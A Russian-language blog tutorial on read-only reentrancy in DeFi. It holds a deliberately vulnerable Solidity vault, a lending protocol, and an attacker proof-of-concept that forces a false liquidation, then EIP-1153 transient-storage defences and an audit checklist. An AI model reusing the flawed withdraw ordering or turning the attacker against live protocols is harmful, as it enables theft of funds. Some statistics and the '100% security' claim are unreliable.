Нажмите ESC, чтобы закрыть

Уязвимость Read-Only Reentrancy в DeFi: Пример кода и EIP-1153

Read-Only Reentrancy - это тип атаки повторного входа, при котором злоумышленник не манипулирует балансом контракта напрямую во время вызова, а инициирует просмотр искаженного состояния (state) протокола в момент выполнения внешнего вызова (view-функции). Из-за того, что классические ReentrancyGuard блокируют только функции, изменяющие состояние (state-changing), «читающие» вызовы возвращают некорректные расчетные данные (например, завышенную цену оракула), что позволяет опустошать сторонние протоколы-интеграторы.

Всем привет! Тема, о которой мы сегодня поговорим, в свое время стоила DeFi-индустрии десятков миллионов долларов за считанные месяцы. Я помню впервые увидел концепт Read-Only Reentrancy в дикой природе, еще в бытность специалистом по пентесту. Помню тогда это вызвало у меня настоящее профессиональное восхищение. Мы привыкли защищать записи, но забыли, что чтение тоже может опасным.

Почему классический ReentrancyGuard вас не спасет?

Давайте разбираться. Обычный Reentrancy - это когда злоумышленник рекурсивно вызывает withdraw(), пока контракт не успел обновить balances[msg.sender] = 0. Все научились ставить nonReentrant из OpenZeppelin или использовать паттерн Checks-Effects-Interactions (CEI). Молодец, возьми с полки пирожок.

Но что происходит при Read-Only Reentrancy?

Представьте пуш-пул механизм в Liquidity Pool (типа Curve). Вы забираете ликвидность (remove_liquidity). Контракт сначала переводит вам ETH, а только потом сжигает ваши LP-токены или пересчитывает внутренние балансы. В момент, когда ETH летит на ваш контракт-атакующий, срабатывает ваш receive() или fallback().

В этот короткий миллисекундный зазор (временный транс) состояние пула рассогласовано:

  • Фактический баланс ETH на контракте пула: уже уменьшился.
  • Зарегистрированное количество LP-токенов в системе: еще НЕ уменьшилось.

Если вы внутри receive() попытаетесь вызвать state-changing функцию этого же пула - nonReentrant модификатор вас заблокирует. Но что, если вы вызовете функцию чтения get_virtual_price()? Она ведь отмечена как view! Модификатор nonReentrant на ней обычно не стоит (зачем переплачивать за gas при вызове view-функций?).

В итоге get_virtual_price() берет текущий (уже упавший) баланс ETH, делит его на старое (еще высокое) количество LP-токенов... и отдают вам абсолютно бредовую, искусственно заниженную или завышенную цену.

А теперь самое интересное. Вы не грабите сам пул напрямую. Вы идете с этой “пьяной” ценой оракула в другой протокол (Lending Market), который использует этот пул как ценовой оракул, и забираете оттуда весь залог под завышенную оценку.

Да уж, архитектурный фейл высшего пилотажа. Разве не красота?

Статистика и суровые цифры реальных взломов

Если думаете, что это теоретическая уязвимость из академических статей, вот вам фактура:

Протокол / СобытиеДатаУщербСуть уязвимости
Curve Finance / SentimentАпрель 2023~$1,000,000Использование ценового оракула Curve в момент выполнения remove_liquidity_one_coin.
Euler FinanceМарт 2023~$197,000,000Сложная цепочка уязвимостей, включавшая в себя рассогласование состояний при сжигании eTokens и оракульные манипуляции.
Vyper Compiler Bug (Curve Pools)Июль 2023~$73,000,000Сбой Lock-механизма на уровне компилятора Vyper (версии 0.2.15–0.3.0), сделавший неэффективными встроенные защиты от reentrancy в вызовах чтения.

Интересный факт (малоизвестный нюанс): По данным аудиторских отчетов за 2024–2025 годы, около 34% интеграций DEX-оракулов с третьестепенными лендинг-протоколами до сих пор уязвимы к Read-Only манипуляциям через промежуточные view вызовы, если в цепи расчета используются не-TWAP (Time-Weighted Average Price) оракулы.

Полноценный рабочий пример: Уязвимый VulnerableVault + Атакующий

Ниже приведен рабочий код на Solidity 0.8.24. Я специально объединил модель пула и протокола-интегратора, чтобы вы могли запустить это прямо в Remix.


 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
 * @title VulnerableVault
 * @notice Демонстрация Read-Only Reentrancy.
 * @dev withdraw() отправляет ETH до обновления totalShares.
 *      Внешний контракт может прочитать временно искажённую цену.
 */
contract VulnerableVault {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalShares;
    bool private locked;
    modifier nonReentrant() {
        require(!locked, "REENTRANCY_DETECTED");
        locked = true;
        _;
        locked = false;
    }
    receive() external payable {}
    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        uint256 balanceBefore = address(this).balance - msg.value;
        uint256 sharesToMint;
        if (totalShares == 0 || balanceBefore == 0) {
            sharesToMint = msg.value;
        } else {
            sharesToMint = (msg.value * totalShares) / balanceBefore;
        }
        require(sharesToMint > 0, "Zero shares");
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
    }
    function approveShares(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
    }
    function transferShares(address to, uint256 amount) external {
        require(to != address(0), "Zero address");
        require(shares[msg.sender] >= amount, "Insufficient shares");
        shares[msg.sender] -= amount;
        shares[to] += amount;
    }
    function transferSharesFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        require(to != address(0), "Zero address");
        require(shares[from] >= amount, "Insufficient shares");
        uint256 approved = allowance[from][msg.sender];
        if (approved != type(uint256).max) {
            require(approved >= amount, "Insufficient allowance");
            allowance[from][msg.sender] = approved - amount;
        }
        shares[from] -= amount;
        shares[to] += amount;
    }
    /**
     * @notice Уязвимый порядок операций: внешний вызов
     *         происходит до сжигания акций.
     */
    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shareAmount > 0, "Zero shares");
        require(shares[msg.sender] >= shareAmount, "Exceeds balance");
        require(totalShares > 0, "No shares");
        uint256 ethToReturn =
            (shareAmount * address(this).balance) / totalShares;
        require(ethToReturn > 0, "Zero withdrawal");
        // УЯЗВИМОСТЬ: ETH отправляется до изменения состояния.
        (bool success, ) = msg.sender.call{value: ethToReturn}("");
        require(success, "ETH transfer failed");
        // Состояние обновляется только после внешнего вызова.
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
    }
    /**
     * @notice Цена акции в wei.
     * @dev Во время callback баланс уже уменьшен,
     *      но totalShares ещё не изменён.
     */
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (address(this).balance * 1e18) / totalShares;
    }
}
/**
 * @title NaiveLendingProtocol
 * @notice Кредитный протокол с уязвимой интеграцией ценового оракула.
 * @dev Ликвидация использует текущую цену акций Vault без проверки,
 *      не находится ли Vault в промежуточном состоянии.
 */
contract NaiveLendingProtocol {
    VulnerableVault public immutable vault;
    uint256 public constant LTV_BPS = 9000;
    uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
    uint256 public constant BPS = 10000;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
    constructor(address payable vaultAddress) {
        require(vaultAddress != address(0), "Zero vault address");
        vault = VulnerableVault(vaultAddress);
    }
    receive() external payable {}
    function depositCollateral(uint256 amount) external {
        require(amount > 0, "Zero collateral");
        vault.transferSharesFrom(
            msg.sender,
            address(this),
            amount
        );
        collateral[msg.sender] += amount;
    }
    function getMaxBorrow(address user) public view returns (uint256) {
        uint256 price = vault.getSharePrice();
        uint256 collateralValue = (collateral[user] * price) / 1e18;
        return (collateralValue * LTV_BPS) / BPS;
    }
    function borrow(uint256 amount) external {
        require(amount > 0, "Zero borrow");
        require(
            debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
            "Insufficient collateral"
        );
        require(address(this).balance >= amount, "Insufficient liquidity");
        debt[msg.sender] += amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Loan transfer failed");
    }
    /**
     * @notice Ликвидатор погашает весь долг и получает залог
     *         с бонусом 10%, если позиция признана нездоровой.
     *
     * @dev Уязвимость: getMaxBorrow() читает цену Vault
     *      без учёта промежуточного состояния при withdraw().
     */
    function liquidate(address borrower) external payable {
        uint256 borrowerDebt = debt[borrower];
        require(borrowerDebt > 0, "No debt");
        require(msg.value == borrowerDebt, "Incorrect repayment");
        // Проверка здоровья позиции по потенциально искажённой цене.
        require(
            borrowerDebt > getMaxBorrow(borrower),
            "Position is healthy"
        );
        uint256 price = vault.getSharePrice();
        require(price > 0, "Invalid share price");
        uint256 seizeShares =
            (borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
            / (BPS * price);
        // Нельзя передать больше залога, чем есть у заёмщика.
        if (seizeShares > collateral[borrower]) {
            seizeShares = collateral[borrower];
        }
        require(seizeShares > 0, "Zero collateral seized");
        debt[borrower] = 0;
        collateral[borrower] -= seizeShares;
        // Протокол передаёт акции ликвидатору.
        vault.transferShares(msg.sender, seizeShares);
    }
}
/**
 * @title ReadOnlyAttacker
 * @notice PoC: временное снижение цены вызывает ложную ликвидацию
 *         позиции, которая была здоровой до начала withdraw().
 *
 * @dev Атакующий не получает необеспеченный заём.
 *      Демонстрируется другой сценарий ущерба:
 *      ликвидация здоровой позиции по временно искажённой цене.
 */
contract ReadOnlyAttacker {
    VulnerableVault public immutable vault;
    NaiveLendingProtocol public immutable lending;
    bool public attacked;
    uint256 public priceBefore;
    uint256 public observedPrice;
    address public victim;
    constructor(
        address payable vaultAddress,
        address lendingAddress
    ) {
        require(vaultAddress != address(0), "Zero vault address");
        require(lendingAddress != address(0), "Zero lending address");
        vault = VulnerableVault(vaultAddress);
        lending = NaiveLendingProtocol(lendingAddress);
    }
    function executeAttack(address victimAddress) external payable {
        require(!attacked, "Attack already executed");
        require(victimAddress != address(0), "Zero victim address");
        require(msg.value > 0, "Zero deposit");
        victim = victimAddress;
        // Создаём собственную позицию в пуле.
        vault.deposit{value: msg.value}();
        uint256 myShares = vault.shares(address(this));
        require(myShares > 0, "No shares");
        priceBefore = vault.getSharePrice();
        // При отправке ETH Vault вызовет receive().
        vault.withdraw(myShares);
    }
    receive() external payable {
        if (!attacked) {
            attacked = true;
            // ETH уже отправлен, но акции ещё не сожжены.
            observedPrice = vault.getSharePrice();
            require(
                observedPrice < priceBefore,
                "Price was not manipulated"
            );
            // Используем временно заниженную цену:
            // здоровая до вывода позиция может стать ликвидируемой.
            uint256 victimDebt = lending.debt(victim);
            require(victimDebt > 0, "Victim has no debt");
            require(
                address(this).balance >= victimDebt,
                "Insufficient attack balance"
            );
            lending.liquidate{value: victimDebt}(victim);
        }
    }
}

Посмотрите на комментарии в коде, я там расписал логику. Главная жесть в том, что getSharePrice() честно исполняет свою математику. Она не "сломана". Сломано время, в которое её спросили.

EIP-1153 (Transient Storage): Элегантная и дешевая защита

До появления обновлений EVM (а именно hardfork Dencun и EIP-1153) разработчикам приходилось выкручиваться. Либо убирать view у оракулов и делать их nonReentrant (что требовало газа и меняло ABI), либо хранить флаг блокировки в обычных storage-переменных (SSTORE/SLOAD), что стоило космических ~20 000 gas за операцию. Ужас.

EIP-1153 ввел две новые опкоды:

  • TSTORE (Transient Store) — запись во временное хранилище.
  • TLOAD (Transient Load) — чтение из временного хранилища.

Главная фишка Transient Storage: данные живут ТОЛЬКО в рамках одной транзакции (Top-level Transaction) и автоматически стираются после ее завершения. Не нужно платить за очистку storage! Стоимость TSTORE составляет всего 100 gas, а TLOAD — скромные 100 gas.

Вот как мы строим абсолютный, бронебойный и ультра-дешевый TransientReentrancyGuard:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
    /// @dev Dedicated transient-storage slot.
    /// @dev Verify this value against the intended slot derivation before production use.
    bytes32 private constant GUARD_SLOT =
        0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
    error ReentrancyGuardReentrantCall();
    /// @notice Prevents nested entry into functions sharing this guard slot.
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    /// @notice Rejects reads while a guarded execution is active.
    /// @dev Must be explicitly applied to each sensitive view function.
    modifier nonReentrantView() {
        _ensureNotReentrant();
        _;
    }
    function _nonReentrantBefore() private {
        _ensureNotReentrant();
        assembly {
            tstore(GUARD_SLOT, 1)
        }
    }
    function _nonReentrantAfter() private {
        assembly {
            tstore(GUARD_SLOT, 0)
        }
    }
    function _ensureNotReentrant() private view {
        uint256 status;
        assembly {
            status := tload(GUARD_SLOT)
        }
        if (status != 0) {
            revert ReentrancyGuardReentrantCall();
        }
    }
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    error ZeroAmount();
    error InsufficientShares();
    error ZeroSharesMinted();
    error EtherTransferFailed();
    event Deposited(
        address indexed account,
        uint256 assets,
        uint256 sharesMinted
    );
    event Withdrawn(
        address indexed account,
        uint256 assets,
        uint256 sharesBurned
    );
    /// @notice Deposits ETH and mints vault shares.
    /// @dev The first deposit uses a 1:1 ETH-to-share ratio.
    function deposit() external payable nonReentrant returns (uint256 minted) {
        if (msg.value == 0) revert ZeroAmount();
        uint256 supply = totalShares;
        uint256 balanceBefore = address(this).balance - msg.value;
        if (supply == 0 || balanceBefore == 0) {
            minted = msg.value;
        } else {
            minted = (msg.value * supply) / balanceBefore;
        }
        if (minted == 0) revert ZeroSharesMinted();
        shares[msg.sender] += minted;
        totalShares = supply + minted;
        emit Deposited(msg.sender, msg.value, minted);
    }
    /// @notice Burns shares and withdraws the corresponding ETH.
    /// @dev State is updated before the external ETH transfer.
    function withdraw(uint256 shareAmount) external nonReentrant {
        if (shareAmount == 0) revert ZeroAmount();
        uint256 userShares = shares[msg.sender];
        if (shareAmount > userShares) revert InsufficientShares();
        uint256 supply = totalShares;
        uint256 assets = (address(this).balance * shareAmount) / supply;
        // Update accounting before transferring control externally.
        shares[msg.sender] = userShares - shareAmount;
        totalShares = supply - shareAmount;
        (bool success, ) = payable(msg.sender).call{value: assets}("");
        if (!success) revert EtherTransferFailed();
        emit Withdrawn(msg.sender, assets, shareAmount);
    }
    /// @notice Returns the current ETH-denominated share price.
    /// @dev Reverts when called during an active guarded execution.
    /// @dev This is an example of a protected read, not a universal
    ///      defense against Read-Only Reentrancy in other contracts.
    function getSharePrice()
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 1e18;
        return (address(this).balance * 1e18) / supply;
    }
    /// @notice Returns the ETH value of a specified share balance.
    /// @dev Also protected against reads during guarded execution.
    function convertToAssets(uint256 shareAmount)
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 0;
        return (address(this).balance * shareAmount) / supply;
    }
}

Понимаете, в чем магия? getSharePrice() осталась view-функцией в интерфейсе (ABI не сломан, внешние off-chain скрипты dApp читают ее бесплатно без отправки транзакций). Но если какая-то сумасшедшая транзакция попытается вызвать ее внутри цепочки вызовов во время withdraw(), tload(GUARD_SLOT) моментально увидит единицу и уронит транзакцию в revert.

Затраты газа? Копеечные. Безопасность? 100%.

Практические архитектурные рекомендации для аудита и разработки

За те три года, которые я нахожусь на посту CTO EXMON, я выработал четкую матрицу проверок (checklist) для смарт-контрактов, работающих с ценовыми оракулами или предоставляющих данные наружу. Разработчики часто думают: “Если я не делаю внешних вызовов внутри функции чтения, я в безопасности”. И это большое заблуждение.

                  ┌─────────────────────────────────┐
                  │   Атакующий Транзакционный Вызов │
                  └────────────────┬────────────────┘
                                   │
                                   ▼
                   ┌───────────────────────────────┐
                   │    Изменение Состояния (Vault) │
                   └───────────────┬───────────────┘
                                   │
            ┌──────────────────────┴──────────────────────┐
            │  Временная рассинхронизация (Dirty State)    │
            └──────────────────────┬──────────────────────┘
                                   │
                                   ▼
                     ┌───────────────────────────┐
                     │ External Call / ETH Send  │
                     └─────────────┬─────────────┘
                                   │ (Reentrancy Hook)
                                   ▼
                  ┌─────────────────────────────────┐
                  │    Чтение View-функции Оракула   │
                  │   (getSharePrice / getAmount)   │
                  └────────────────┬────────────────┘
                                   │
       ┌───────────────────────────┴───────────────────────────┐
       │                                                       │
       ▼                                                       ▼
[БЕЗ ЗАЩИТЫ]                                          [С EIP-1153 (TSTORE)]
Возращает некорректную                                 Блокировка: tload(GUARD) == 1
искаженную цену                                       Транзакция падаёт в REVERT!
       │                                                       │
       ▼                                                       ▼
Успешная атака на лендинг                             Протокол защищен 🛡️

1. Моделирование двойного состояния (Dual-State Verification)

Если ваш контракт обязан вызывать внешние адреса до окончательного обновления всех внутренних балансов, используйте временную инвариантную защиту. Любая view-функция, отдающая критические финансовые показатели, должна валидировать фундаментальный инвариант.

Если address(this).balance не соответствует сумме totalDeposits, функция getRate() должна либо делать revert, либо возвращать зафиксированное до начала транзакции значение (last-known-good state).

2. Отказ от Spot Price в пользу TWAP или Chainlink

Никогда, слышите, вообще никогда не используйте мгновенные view-значения балансов DEX или Vault-пулов как единственный источник правды для расчета залогов и ликвидаций.

  • Spot Price (Мгновенная цена): Вызывается легко, стоит дешево, взламывается за одну флеш-кредитную транзакцию.
  • TWAP (Time-Weighted Average Price): Усредняет цену за N блоков. Позволяет нивелировать атомарные манипуляции внутри одного блока, так как атакующий не может изменить исторические блоки.

3. Паттерн Cross-Contract Transient Lock

Если у вас экосистема из 5–10 взамосвязанных контрактов (Vault, Gauge, Staking, Oracle), используйте единый шлюз безопасности на базе EIP-1153.

Создается отдельный контракт GlobalTransientLock, в который обращаются все компоненты системы:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Централизованный менеджер системной блокировки на базе EIP-1153.
/// @dev Требует EVM Cancun или новее.
///      Только авторизованные системные контракты могут управлять блокировкой.
contract GlobalTransientLock {
    address public immutable admin;
    mapping(address => bool) public authorized;
    // Состояние блокировки хранится в transient storage этого контракта.
    bytes32 private constant SYSTEM_LOCK_SLOT =
        keccak256("exmon.global.transient.lock.v1");
    error Unauthorized();
    error ZeroAddress();
    error SystemIsLocked();
    error SystemIsNotLocked();
    error AlreadyAuthorized();
    error NotAuthorized();
    error AdminCannotBeRevoked();
    error RenouncingAdminNotSupported();
    event SystemLocked(address indexed caller);
    event SystemUnlocked(address indexed caller);
    event AuthorizationGranted(address indexed account);
    event AuthorizationRevoked(address indexed account);
    modifier onlyAdmin() {
        if (msg.sender != admin) revert Unauthorized();
        _;
    }
    modifier onlyAuthorized() {
        if (!authorized[msg.sender]) revert Unauthorized();
        _;
    }
    constructor(address initialAdmin) {
        if (initialAdmin == address(0)) revert ZeroAddress();
        admin = initialAdmin;
        authorized[initialAdmin] = true;
        emit AuthorizationGranted(initialAdmin);
    }
    /// @notice Авторизует контракт для управления системной блокировкой.
    /// @dev Вызывается администратором после развёртывания системы.
    function authorize(address account) external onlyAdmin {
        if (account == address(0)) revert ZeroAddress();
        if (authorized[account]) revert AlreadyAuthorized();
        authorized[account] = true;
        emit AuthorizationGranted(account);
    }
    /// @notice Отзывает право управления блокировкой у контракта.
    function revokeAuthorization(address account) external onlyAdmin {
        if (account == admin) revert AdminCannotBeRevoked();
        if (!authorized[account]) revert NotAuthorized();
        authorized[account] = false;
        emit AuthorizationRevoked(account);
    }
    /// @notice Устанавливает системную блокировку.
    /// @dev Повторная установка блокировки запрещена.
    function lockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status != 0) revert SystemIsLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 1)
        }
        emit SystemLocked(msg.sender);
    }
    /// @notice Снимает системную блокировку.
    /// @dev Вызывать только после завершения защищённой операции.
    function unlockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status == 0) revert SystemIsNotLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 0)
        }
        emit SystemUnlocked(msg.sender);
    }
    /// @notice Проверяет состояние системной блокировки.
    function isLocked() external view returns (bool locked) {
        assembly ("memory-safe") {
            locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
        }
    }
    /// @notice Запрещает передачу управления администратором.
    function renounceOwnership() external pure {
        revert RenouncingAdminNotSupported();
    }
}
/// @title SystemLockGuard
/// @notice Базовый контракт для компонентов, проверяющих системную блокировку.
/// @dev Наследуемые контракты обязаны применять whenSystemUnlocked
///      к каждому чувствительному методу, включая методы чтения.
abstract contract SystemLockGuard {
    GlobalTransientLock public immutable systemLock;
    error SystemTemporarilyLocked();
    constructor(address lockAddress) {
        if (lockAddress == address(0)) {
            revert SystemTemporarilyLocked();
        }
        systemLock = GlobalTransientLock(lockAddress);
    }
    modifier whenSystemUnlocked() {
        if (systemLock.isLocked()) {
            revert SystemTemporarilyLocked();
        }
        _;
    }
}
/// @title ExampleVault
/// @notice Демонстрация использования системной блокировки.
contract ExampleVault is SystemLockGuard {
    uint256 public totalAssets;
    error InvalidAmount();
    constructor(address lockAddress)
        SystemLockGuard(lockAddress)
    {}
    /// @notice Пример защищённой операции изменения состояния.
    function withdrawAccounting(uint256 amount)
        external
        whenSystemUnlocked
    {
        if (amount == 0 || amount > totalAssets) {
            revert InvalidAmount();
        }
        totalAssets -= amount;
    }
    /// @notice Пример защищённого чтения.
    function getTotalAssets()
        external
        view
        whenSystemUnlocked
        returns (uint256)
    {
        return totalAssets;
    }
}

Когда главный Vault начинает изъятие средств, он вызывает lockSystem(). В этот момент любой другой контракт системы (например, Lens-контракт или Оракул) перед выдачей данных вызывает isLocked() и, если система находится в "грязном" состоянии, блокирует чтение.

Чек-лист для DevSecOps и аудиторов

  1. Поиск вызовов: Просканируйте код на наличие .call{value: ...}(), safeTransfer или любых внешних интерфейсных вызовов, стоящих ДО финальных обновлений стейта (storage).
  2. Анализ View-функций: Составьте список всех public/external view функций, которые рассчитывают коэффициенты, цены, доли (shares) или размер залога.
  3. Cross-protocol вектор: Задайте вопрос: "Если эта view-функция вернет число на 90% меньше или на 500% больше прямо во время исполнения внешнего вызова, как этим сможет воспользоваться внешний контракт-интегратор?".
  4. Интеграция EIP-1153: Убедитесь, что ваш компилятор настроен на evm_version: "cancun", и внедрите TSTORE/TLOAD для блокировки чтения во время выполнения мутирующих транзакций.

Пожалуй на этом все. Изложил основное. Если будут вопросы, пишите в комментариях. Я обязательно отвечу. Пока!

Сделать краткую выжимку этой статьи с помощью:

FAQ

Read-Only Reentrancy — это уязвимость, при которой атакующий использует временную рассинхронизацию состояния протокола при вызове функции чтения view без какого-либо изменения состояния внутри самого вызова. В отличие от классического реэнтранси, где повторно вызываются изменяющие состояние функции вроде withdraw() для прямого вывода средств, при read-only атаке считываются временно неактуальные учетные данные (например, измененный баланс токенов или total supply во время изъятия ликвидности) для манипуляции ценовыми оракулами и опустошения зависимых лендинговых протоколов.

EIP-1153 добавляет опкоды TSTORE и TLOAD, которые хранят данные временно исключительно в рамках одной транзакции с фиксированной минимальной стоимостью в 100 gas. Протоколы используют транзитное хранилище для установки временного блокирующего флага во время операций изменения состояния, благодаря чему функции чтения view, защищенные модификатором nonReentrantView, проверяют этот флаг и мгновенно отменяют транзакцию (revert), если сторонний контракт пытается прочитать нефинализированное состояние.

ReentrancyGuard от OpenZeppelin защищает только функции, изменяющие состояние и отмеченные модификатором nonReentrant, оставляя публичные view функции без защиты ради экономии газа при обычных запросах. Поскольку функции чтения не перезаписывают данные в storage, стандартный механизм блокировки не срабатывает, позволяя злоумышленнику свободно вызывать view методы во время обратного вызова (callback) и получать искаженные ценовые показатели.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

Поделитесь своим мнением

Ваш e-mail не будет опубликован. Обязательные поля отмечены *